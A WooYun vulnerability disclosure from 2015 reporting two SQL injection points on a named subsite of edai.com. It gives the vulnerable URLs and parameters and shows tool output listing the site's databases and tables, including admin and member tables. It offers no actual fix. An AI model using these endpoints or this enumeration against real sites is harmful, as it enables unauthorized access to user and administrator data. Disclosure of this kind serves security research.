当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138673

漏洞标题：易贷网旗下站点2处MySQL注射漏洞

相关厂商：edai.com

漏洞作者： 路人甲

提交时间：2015-09-02 19:45

修复时间：2015-09-07 19:46

公开时间：2015-09-07 19:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-02： 细节已通知厂商并且等待厂商处理中
2015-09-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

2处MySQL注射漏洞

详细说明：

classid存在注入

http://yimin.edai.com/news.php?classid=3


country存在注入

http://yimin.edai.com/immigrate.php?act=home&country=27


跑库

available databases [2]:
[*] information_schema
[*] s582798db0


虽然库不多，但是表包含信息

漏洞证明：

Database: s582798db0
[26 tables]
+---------------------------------------+
| 3eee_abroad                           |
| 3eee_admin                            |
| 3eee_immigrate                        |
| 3eee_join                             |
| 3eee_link_class                       |
| 3eee_link                             |
| 3eee_member                           |
| 3eee_message                          |
| 3eee_news_class                       |
| 3eee_news_pic                         |
| 3eee_news                             |
| 3eee_onepage                          |
| 3eee_order                            |
| 3eee_qq_class                         |
| 3eee_qq                               |
| 3eee_set                              |
| mb_admin                              |
| mb_config                             |
| mb_float                              |
| mb_guestbook                          |
| mb_link                               |
| mb_linksort                           |
| mb_member                             |
| mb_news                               |
| mb_newssort                           |
| mb_onepage                            |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

修复方案：

看美女

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-07 19:46

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无